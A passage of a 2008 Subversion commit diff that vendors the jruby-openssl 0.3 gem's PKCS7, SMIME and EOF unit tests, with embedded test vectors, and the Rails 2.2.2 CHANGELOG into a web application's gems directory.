+      p7.type = ASN1Registry::NID_pkcs7_signed
+      p7.add_certificate(X509Cert)
+      assert_equal 1, p7.get_sign.cert.size
+      assert_equal X509Cert, p7.get_sign.cert.iterator.next
+    end
+
+    def test_add_certificate_on_signedAndEnveloped_adds_the_certificate
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      p7.add_certificate(X509Cert)
+      assert_equal 1, p7.get_signed_and_enveloped.cert.size
+      assert_equal X509Cert, p7.get_signed_and_enveloped.cert.get(0)
+    end
+
+    def test_add_crl_on_data_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.add_crl(X509CRL)
+      end
+    end
+
+    def test_add_crl_on_enveloped_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_raises NativeException do 
+        p7.add_crl(X509CRL)
+      end
+    end
+
+    def test_add_crl_on_encrypted_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.add_crl(X509CRL)
+      end
+    end
+
+    def test_add_crl_on_digest_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert_raises NativeException do 
+        p7.add_crl(X509CRL)
+      end
+    end
+
+    def test_add_crl_on_signed_adds_the_crl
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      p7.add_crl(X509CRL)
+      assert_equal 1, p7.get_sign.crl.size
+      assert_equal X509CRL, p7.get_sign.crl.iterator.next
+    end
+
+    def test_add_crl_on_signedAndEnveloped_adds_the_crl
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      p7.add_crl(X509CRL)
+      assert_equal 1, p7.get_signed_and_enveloped.crl.size
+      assert_equal X509CRL, p7.get_signed_and_enveloped.crl.get(0)
+    end
+    
+    EXISTING_PKCS7_DEF = "0\202\002 \006\t*\206H\206\367\r\001\a\003\240\202\002\0210\202\002\r\002\001\0001\202\001\2700\201\331\002\001\0000B0=1\0230\021\006\n\t\222&\211\223\362,d\001\031\026\003org1\0310\027\006\n\t\222&\211\223\362,d\001\031\026\truby-lang1\v0\t\006\003U\004\003\f\002CA\002\001\0020\r\006\t*\206H\206\367\r\001\001\001\005\000\004\201\200\213kF\330\030\362\237\363$\311\351\207\271+_\310sr\344\233N\200\233)\272\226\343\003\224OOf\372 \r\301{\206\367\241\270\006\240\254\3179F\232\231Q\232\225\347\373\233\032\375\360\035o\371\275p\306\v5Z)\263\037\302|\307\300\327\a\375\023G'Ax\313\346\261\254\227K\026\364\242\337\367\362rk\276\023\217m\326\343F\366I1\263\nLuNf\234\203\261\300\030\232Q\277\231\f0\030\001\332\021\0030\201\331\002\001\0000B0=1\0230\021\006\n\t\222&\211\223\362,d\001\031\026\003org1\0310\027\006\n\t\222&\211\223\362,d\001\031\026\truby-lang1\v0\t\006\003U\004\003\f\002CA\002\001\0030\r\006\t*\206H\206\367\r\001\001\001\005\000\004\201\200\215\223\3428\2440]\0278\016\230,\315\023Tg\325`\376~\353\304\020\243N{\326H\003\005\361q\224OI\310\2324-\341?\355&r\215\233\361\245jF\255R\271\203D\304v\325\265\243\321$\bSh\031i\eS\240\227\362\221\364\232\035\202\f?x\031\223D\004ZHD\355'g\243\037\236mJ\323\210\347\274m\324-\351\332\353#A\273\002\"h\aM\202\347\236\265\aI$@\240bt=<\212\2370L\006\t*\206H\206\367\r\001\a\0010\035\006\t`\206H\001e\003\004\001\002\004\020L?\325\372\\\360\366\372\237|W\333nnI\255\200 \253\234\252\263\006\335\037\320\350{s\352r\337\304\305\216\223k\003\376f\027_\201\035#*\002yM\334"
+
+    EXISTING_PKCS7_1 = PKCS7::from_asn1(ASN1InputStream.new(EXISTING_PKCS7_DEF.to_java_bytes).read_object)
+    
+    def test_encrypt_integration_test
+      certs = [X509Cert]
+      cipher = Cipher.get_instance("AES", BCP.new)
+      data = "aaaaa\nbbbbb\nccccc\n".to_java_bytes
+      PKCS7::encrypt(certs, data, cipher, PKCS7::BINARY)
+#       puts
+#       puts PKCS7::encrypt(certs, data, cipher, PKCS7::BINARY)
+#       puts 
+#       puts EXISTING_PKCS7_1
+    end
+    
+    EXISTING_PKCS7_PEM = <<PKCS7STR
+-----BEGIN PKCS7-----
+MIICIAYJKoZIhvcNAQcDoIICETCCAg0CAQAxggG4MIHZAgEAMEIwPTETMBEGCgmS
+JomT8ixkARkWA29yZzEZMBcGCgmSJomT8ixkARkWCXJ1YnktbGFuZzELMAkGA1UE
+AwwCQ0ECAQIwDQYJKoZIhvcNAQEBBQAEgYCPGMV4KS/8amYA2xeIjj9qLseJf7dl
+BtSDp+YAU3y1JnW7XufBCKxYw7eCuhWWA/mrxijr+wdsFDvSalM6nPX2P2NiVMWP
+a7mzErZ4WrzkKIuGczYPYPJetwBYuhik3ya4ygYygoYssVRAITOSsEKpfqHAPmI+
+AUJkqmCdGpQu9TCB2QIBADBCMD0xEzARBgoJkiaJk/IsZAEZFgNvcmcxGTAXBgoJ
+kiaJk/IsZAEZFglydWJ5LWxhbmcxCzAJBgNVBAMMAkNBAgEDMA0GCSqGSIb3DQEB
+AQUABIGAPaBX0KM3S+2jcrQrncu1jrvm1PUXlUvMfFIG2oBfPkMhiqCBvkOct1Ve
+ws1hxvGtsqyjAUn02Yx1+gQJhTN4JZZHNqkfi0TwN32nlwLxclKcrbF9bvtMiVHx
+V3LrSygblxxJsBf8reoV4yTJRa3w98bEoDhjUwjfy5xTml2cAn4wTAYJKoZIhvcN
+AQcBMB0GCWCGSAFlAwQBAgQQath+2gUo4ntkKl8FO1LLhoAg58j0Jn/OfWG3rNRH
+kTtUQfnBFk/UGbTZgExHILaGz8Y=
+-----END PKCS7-----
+PKCS7STR
+    
+    PKCS7_PEM_CONTENTS = "\347\310\364&\177\316}a\267\254\324G\221;TA\371\301\026O\324\031\264\331\200LG \266\206\317\306" 
+
+    PKCS7_PEM_FIRST_KEY = "\217\030\305x)/\374jf\000\333\027\210\216?j.\307\211\177\267e\006\324\203\247\346\000S|\265&u\273^\347\301\b\254X\303\267\202\272\025\226\003\371\253\306(\353\373\al\024;\322jS:\234\365\366?cbT\305\217k\271\263\022\266xZ\274\344(\213\206s6\017`\362^\267\000X\272\030\244\337&\270\312\0062\202\206,\261T@!3\222\260B\251~\241\300>b>\001Bd\252`\235\032\224.\365"
+
+    PKCS7_PEM_SECOND_KEY = "=\240W\320\2437K\355\243r\264+\235\313\265\216\273\346\324\365\027\225K\314|R\006\332\200_>C!\212\240\201\276C\234\267U^\302\315a\306\361\255\262\254\243\001I\364\331\214u\372\004\t\2053x%\226G6\251\037\213D\3607}\247\227\002\361rR\234\255\261}n\373L\211Q\361Wr\353K(\e\227\034I\260\027\374\255\352\025\343$\311E\255\360\367\306\304\2408cS\b\337\313\234S\232]\234\002~"
+    
+    def test_PEM_read_pkcs7_bio
+      bio = BIO::mem_buf(EXISTING_PKCS7_PEM.to_java_bytes)
+      p7 = PKCS7.read_pem(bio)
+
+      assert_equal ASN1Registry::NID_pkcs7_enveloped, p7.type
+      env = p7.get_enveloped
+      assert_equal 0, env.version
+      enc_data = env.enc_data
+      assert_equal ASN1Registry::NID_pkcs7_data, enc_data.content_type
+      assert_equal ASN1Registry::NID_aes_128_cbc, ASN1Registry::obj2nid(enc_data.algorithm.get_object_id)
+      assert_equal PKCS7_PEM_CONTENTS, String.from_java_bytes(enc_data.enc_data.octets)
+      
+      ris = env.recipient_info
+      assert_equal 2, ris.size
+      
+      first = second = nil
+      tmp = ris.iterator.next
+
+      if tmp.issuer_and_serial.certificate_serial_number.value == 2
+        first = tmp
+        iter = ris.iterator
+        iter.next
+        second = iter.next
+      else 
+        second = tmp
+        iter = ris.iterator
+        iter.next
+        first = iter.next
+      end
+      
+      assert_equal 0, first.version
+      assert_equal 0, second.version
+      
+      assert_equal "DC=org,DC=ruby-lang,CN=CA", first.issuer_and_serial.name.to_s
+      assert_equal "DC=org,DC=ruby-lang,CN=CA", second.issuer_and_serial.name.to_s
+      
+      assert_equal ASN1Registry::NID_rsaEncryption, ASN1Registry::obj2nid(first.key_enc_algor.get_object_id)
+      assert_equal ASN1Registry::NID_rsaEncryption, ASN1Registry::obj2nid(second.key_enc_algor.get_object_id)
+
+      assert_equal PKCS7_PEM_FIRST_KEY, String.from_java_bytes(first.enc_key.octets)
+      assert_equal PKCS7_PEM_SECOND_KEY, String.from_java_bytes(second.enc_key.octets)
+    end
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_smime.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_smime.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_smime.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,177 @@
+module PKCS7Test
+  class TestJavaSMIME < Test::Unit::TestCase
+    def test_read_pkcs7_should_raise_error_when_parsing_headers_fails
+      bio = BIO.new
+      mime = Mime.new
+      mime.stubs(:parseHeaders).returns(nil)
+
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_MIME_PARSE_ERROR, e.cause.get_reason
+      end
+    end
+
+    def test_read_pkcs7_should_raise_error_when_content_type_is_not_there
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(nil)
+
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_NO_CONTENT_TYPE, e.cause.get_reason
+      end
+
+
+      
+      
+      mime = Mime.new
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(MimeHeader.new("content-type", nil))
+
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_NO_CONTENT_TYPE, e.cause.get_reason
+      end
+    end
+    
+    def test_read_pkcs7_should_set_the_second_arguments_contents_to_null_if_its_there
+      mime = Mime.new
+      mime.stubs(:parseHeaders).raises("getOutOfJailForFree")
+      
+      bio2 = BIO.new
+      arr = [bio2].to_java BIO
+      
+      begin
+        SMIME.new(mime).readPKCS7(nil, arr)
+      rescue
+      end
+
+      assert_nil arr[0]
+
+
+      arr = [bio2, bio2].to_java BIO
+      begin
+        SMIME.new(mime).readPKCS7(nil, arr)
+      rescue
+      end
+
+      assert_nil arr[0]
+      assert_equal bio2, arr[1]
+    end
+    
+    def test_read_pkcs7_should_call_methods_on_mime
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(MimeHeader.new("content-type", "application/pkcs7-mime"))
+
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+      rescue java.lang.UnsupportedOperationException
+        # This error is expected, since the bio used is not a real one
+      end
+    end
+
+    def test_read_pkcs7_throws_correct_exception_if_wrong_content_type
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(MimeHeader.new("content-type", "foo"))
+
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_INVALID_MIME_TYPE, e.cause.get_reason
+        assert_equal "type: foo", e.cause.error_data
+      end
+    end
+    
+    def test_read_pkcs7_with_multipart_should_fail_if_no_boundary_found
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      hdr = MimeHeader.new("content-type", "multipart/signed")
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(hdr)
+
+      mime.expects(:findParam).with(hdr, "boundary").returns(nil)
+      
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_NO_MULTIPART_BOUNDARY, e.cause.get_reason
+      end
+    end
+    
+    def test_read_pkcs7_with_multipart_should_fail_if_null_boundary_value
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      hdr = MimeHeader.new("content-type", "multipart/signed")
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(hdr)
+
+      mime.expects(:findParam).with(hdr, "boundary").returns(MimeParam.new("boundary", nil))
+      
+      begin
+        SMIME.new(mime).readPKCS7(bio, nil)
+        assert false
+      rescue PKCS7Exception => e
+        assert_equal PKCS7::F_SMIME_READ_PKCS7, e.cause.get_method
+        assert_equal PKCS7::R_NO_MULTIPART_BOUNDARY, e.cause.get_reason
+      end
+    end
+
+    # TODO: redo this test to be an integration test
+    def _test_read_pkcs7_happy_path_without_multipart
+      bio = BIO.new
+      mime = Mime.new
+
+      headers = ArrayList.new
+      mime.expects(:parseHeaders).with(bio).returns(headers)
+      mime.expects(:findHeader).with(headers, "content-type").returns(MimeHeader.new("content-type", "application/pkcs7-mime"))
+
+      SMIME.new(mime).readPKCS7(bio, nil)
+    end
+    
+    def test_read_pkcs7_happy_path_multipart
+      bio = BIO::from_string(MultipartSignedString)
+      mime = Mime::DEFAULT
+      p7 = SMIME.new(mime).readPKCS7(bio, nil)
+    end
+
+    def test_read_pkcs7_happy_path_without_multipart_enveloped
+      bio = BIO::from_string(MimeEnvelopedString)
+      mime = Mime::DEFAULT
+      p7 = SMIME.new(mime).readPKCS7(bio, nil)
+    end
+
+    def test_read_pkcs7_happy_path_without_multipart_signed
+      bio = BIO::from_string(MimeSignedString)
+      mime = Mime::DEFAULT
+      p7 = SMIME.new(mime).readPKCS7(bio, nil)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_openssl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_openssl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_openssl.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+
+if defined?(JRUBY_VERSION)
+  require "java"
+  base = File.join(File.dirname(__FILE__), '..')
+  $CLASSPATH << File.join(base, 'pkg', 'classes')
+  $CLASSPATH << File.join(base, 'lib', 'bcprov-jdk14-139.jar')
+end
+
+def protect_require(name)
+  require name
+rescue Exception => e
+  $stderr.puts "Had exception in #{name}: #{e.inspect}"
+  $stderr.puts(*(e.backtrace))
+end
+
+protect_require 'openssl/test_asn1'
+protect_require 'openssl/test_cipher'
+protect_require 'openssl/test_digest'
+protect_require 'openssl/test_hmac'
+protect_require 'openssl/test_ns_spki'
+protect_require 'openssl/test_pair'
+protect_require 'openssl/test_pkcs7'
+protect_require 'openssl/test_pkey_rsa'
+protect_require 'openssl/test_ssl'
+protect_require 'openssl/test_x509cert'
+protect_require 'openssl/test_x509crl'
+protect_require 'openssl/test_x509ext'
+protect_require 'openssl/test_x509name'
+protect_require 'openssl/test_x509req'
+protect_require 'openssl/test_x509store'
+protect_require 'test_cipher'
+protect_require 'test_java'
+protect_require 'test_integration'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ut_eof.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ut_eof.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ut_eof.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,128 @@
+require 'test/unit'
+
+module TestEOF
+  def test_eof_0
+    open_file("") {|f|
+      assert_equal("", f.read(0))
+      assert_equal("", f.read(0))
+      assert_equal("", f.read)
+      assert_nil(f.read(0))
+      assert_nil(f.read(0))
+    }
+    open_file("") {|f|
+      assert_nil(f.read(1))
+      assert_equal("", f.read)
+      assert_nil(f.read(1))
+    }
+    open_file("") {|f|
+      s = "x"
+      assert_equal("", f.read(nil, s))
+      assert_equal("", s)
+    }
+    open_file("") {|f|
+      s = "x"
+      assert_nil(f.read(10, s))
+      assert_equal("", s)
+    }
+  end
+
+  def test_eof_0_rw
+    return unless respond_to? :open_file_rw
+    open_file_rw("") {|f|
+      assert_equal("", f.read)
+      assert_equal("", f.read)
+      assert_equal(0, f.syswrite(""))
+      assert_equal("", f.read)
+    }
+  end
+
+  def test_eof_1
+    open_file("a") {|f|
+      assert_equal("", f.read(0))
+      assert_equal("a", f.read(1))
+      assert_equal("" , f.read(0))
+      assert_equal("" , f.read(0))
+      assert_equal("", f.read)
+      assert_nil(f.read(0))
+      assert_nil(f.read(0))
+    }
+    open_file("a") {|f|
+      assert_equal("a", f.read(1))
+      assert_nil(f.read(1))
+    }
+    open_file("a") {|f|
+      assert_equal("a", f.read(2))
+      assert_nil(f.read(1))
+      assert_equal("", f.read)
+      assert_nil(f.read(1))
+    }
+    open_file("a") {|f|
+      assert_equal("a", f.read)
+      assert_nil(f.read(1))
+      assert_equal("", f.read)
+      assert_nil(f.read(1))
+    }
+    open_file("a") {|f|
+      assert_equal("a", f.read(2))
+      assert_equal("", f.read)
+      assert_equal("", f.read)
+    }
+    open_file("a") {|f|
+      assert_equal("a", f.read)
+      assert_nil(f.read(0))
+    }
+    open_file("a") {|f|
+      s = "x"
+      assert_equal("a", f.read(nil, s))
+      assert_equal("a", s)
+    }
+    open_file("a") {|f|
+      s = "x"
+      assert_equal("a", f.read(10, s))
+      assert_equal("a", s)
+    }
+  end
+
+  def test_eof_2
+    open_file("") {|f|
+      assert_equal("", f.read)
+      assert(f.eof?)
+    }
+  end
+
+  def test_eof_3
+    open_file("") {|f|
+      assert(f.eof?)
+    }
+  end
+
+  module Seek
+    def open_file_seek(content, pos)
+      open_file(content) do |f|
+        f.seek(pos)
+        yield f
+      end
+    end
+
+    def test_eof_0_seek
+      open_file_seek("", 10) {|f|
+        assert_equal(10, f.pos)
+        assert_equal("", f.read(0))
+        assert_equal("", f.read)
+        assert_nil(f.read(0))
+        assert_equal("", f.read)
+      }
+    end
+
+    def test_eof_1_seek
+      open_file_seek("a", 10) {|f|
+        assert_equal("", f.read)
+        assert_equal("", f.read)
+      }
+      open_file_seek("a", 1) {|f|
+        assert_equal("", f.read)
+        assert_equal("", f.read)
+      }
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/CHANGELOG
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2071 @@
+*2.2 (November 21st, 2008)*
+
+* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [DHH]
+
+* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer]
+
+* Update Prototype to 1.6.0.4 [sam]
+
+* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano]
+
+* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader [Josh Peek]
+
+* Turn cache_classes on by default [Josh Peek]
+
+* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers [Josh Peek]
+
+* Introduce simple internationalization support.  [Ruby i18n team]
+
+* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
+
+  script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
+  script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
+
+* Added Rails.initialized? flag [Josh Peek]
+
+* Make rake test:uncommitted work with Git. [Tim Pope]
+
+* Added Thin support to script/server.  #488 [Bob Klosinski]
+
+* Fix script/about in production mode.  #370 [Cheah Chu Yeow, Xavier Noria, David Krmpotic]
+
+* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
+
+* Fix discrepancies with loading rails/init.rb from gems.
+
+* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb)  [Jacek Becela]
+
+* Changed all generated tests to use the test/do declaration style [DHH]
+
+* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [DHH]
+
+* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved]
+
+
+*2.1.0 (May 31st, 2008)*
+
+* script/dbconsole fires up the command-line database client.  #102 [Steve Purcell]
+
+* Fix bug where plugin init.rb files from frozen gem specs weren't being run.  (pjb3) [#122 state:resolved]
+
+* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) [#88]
+
+* Rails Edge info returns the latest git commit hash [Francesc Esplugas]
+
+* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [nicksieger]
+
+* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing]
+
+* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [rick]
+
+* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Catfish]
+
+* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar]
+
+  rake gems:unpack             # unpacks all gems
+  rake gems:unpack GEM=mygem   # unpacks only the gem 'mygem'
+  
+  rake gems:build              # builds all unpacked gems
+  rake gems:build GEM=mygem    # builds only the gem 'mygem'
+
+* Add config.active_support for future configuration options.  Also, add more new Rails 3 config settings to new_rails_defaults.rb [rick]
+
+* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [pratik]
+
+* Allow files in plugins to be reloaded like the rest of the application.  [rick]
+
+  Enables or disables plugin reloading.
+  
+    config.reload_plugins = true
+  
+  You can get around this setting per plugin.
+  If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
+  
+    Dependencies.load_once_paths.delete lib_path
+  
+  If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
+  
+    Dependencies.load_once_paths << lib_path
+
+* Small tweak to allow plugins to specify gem dependencies.  [rick]
+
+  # OLD open_id_authentication plugin init.rb
+  require 'yadis'
+  require 'openid'
+  ActionController::Base.send :include, OpenIdAuthentication
+
+  # NEW
+  config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
+  config.gem "ruby-yadis",  :lib => "yadis",  :version => "0.3.4"
+
+  config.after_initialize do
+    ActionController::Base.send :include, OpenIdAuthentication
+  end
+
+* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [rick]
+
+  Rails::Initializer.run do |config|
+    config.gem "bj"
+    config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
+    config.gem "aws-s3", :lib => "aws/s3"
+  end
+  
+  # List required gems.
+  rake gems
+  
+  # Install all required gems:
+  rake gems:install
+  
+  # Unpack specified gem to vendor/gems/gem_name-x.x.x
+  rake gems:unpack GEM=bj
+
+* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [DHH]
+
+* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing]
+
+* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing]
+
+* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [DHH]
+
+* Added that gems can now be plugins if they include rails/init.rb #11444 [jbarnette]
+
+* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [lazyatom]
+
+    plugin = Rails::Plugin.new(path_to_my_plugin)
+    plugin.about["author"] # => "James Adam"
+    plugin.about["url"] # => "http://interblah.net"
+
+* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+
+* Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing]
+
+* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option [Geoff Buesing]
+
+* Add config.time_zone for configuring the default Time.zone value.  #10982 [Geoff Buesing]
+
+* Added support for installing plugins hosted at git repositories #11294 [danger]
+
+* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv]
+
+* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 [matt]
+
+* Added a -e/--export to script/plugin install, uses svn export. #10847 [jon at blankpad.net)]
+
+* Reshuffle load order so that routes and observers are initialized after plugins and app initializers.  Closes #10980 [rick]
+
+* Git support for script/generate.  #10690 [ssoroka]
+
+* Update scaffold to use labels instead of bold tags.  Closes #10757 [zach-inglis-lt3]
+
+* Resurrect WordNet synonym lookups.  #10710 [tom./, matt]
+
+* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [DHH]
+
+* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff]
+
+* SQLite: db:drop:all doesn't fail silently if the database is already open.  #10577 [Cheah Chu Yeow, mrichman]
+
+* Introduce native mongrel handler and push mutex into dispatcher.  [Jeremy Kemper]
+
+* Ruby 1.9 compatibility.  #1689, #10546 [Cheah Chu Yeow, frederico]
+
+
+*2.0.2* (December 16th, 2007)
+
+* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [DHH]
+
+* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [DHH]
+
+* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]
+
+* Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat]
+
+* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone]
+
+* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432  [matt]
+
+* RAILS_GEM_VERSION may be double-quoted also.  #10443 [James Cox]
+
+* Update rails:freeze:gems to work with RubyGems 0.9.5.  [Jeremy Kemper]
+
+
+*2.0.1* (December 7th, 2007)
+
+* Fixed Active Record bug
+
+
+*2.0.0* (December 6th, 2007)
+
+* The test task stops with a warning if you have pending migrations.  #10377 [Josh Knowles]
+
+* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [thijsv]
+
+* Update Prototype to 1.6.0.1.  [sam]
+
+* Update script.aculo.us to 1.8.0.1.  [madrobby]
+
+* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [jbarnette]
+
+* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [jbarnette]
+
+* Update to Prototype -r8232.  [sam]
+
+* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later.  #10286 [Hongli Lai]
+
+* RAILS_GEM_VERSION may be set to any valid gem version specifier.  #10057 [Chad Woolley, Cheah Chu Yeow]
+
+* Load config/preinitializer.rb, if present, before loading the environment.  #9943 [Chad Woolley]
+
+* FastCGI handler ignores unsupported signals like USR2 on Windows.  [Grzegorz Derebecki]
+
+* Only load ActionMailer::TestCase if ActionMailer is loaded.  Closes #10137 [defunkt]
+
+* Fixed that db:reset would use migrations instead of loading db/schema.rb [DHH]
+
+* Ensure the plugin loader only loads plugins once.  Closes #10102 [haruki_zaemon]
+
+* Refactor Plugin Loader.  Add plugin lib paths early, and add lots of tests.  Closes #9795 [lazyatom]
+
+* Added --skip-timestamps to generators that produce models #10036 [Tim Pope]
+
+* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0.  [sam, madrobby]
+
+* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) [Jeffrey Allan Hardy]
+
+* Fix typo in test_helper. Closes #9925 [viktor tron]
+
+* Request profiler.  [Jeremy Kemper]
+
+* config/boot.rb correctly detects RAILS_GEM_VERSION.  #9834 [alexch, thewoolleyman]
+
+* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [jeremymcanally]
+
+* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0.  [sam, madrobby]
+
+* Generated fixtures use the actual primary key instead of id.  #4343 [Frederick Ros, Tarmo Tänav]
+
+* Extend the console +helper+ method to allow you to include custom helpers.  e.g:
+  >> helper :posts
+  >> helper.some_method_from_posts_helper(Post.find(1))
+
+* db:create works with remote databases whereas db:create:all only creates
+databases on localhost.  #9753 [Trevor Wennblom]
+
+* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [DHH]
+
+* Add --prefix option to script/server when using mongrel. [dacat]
+
+
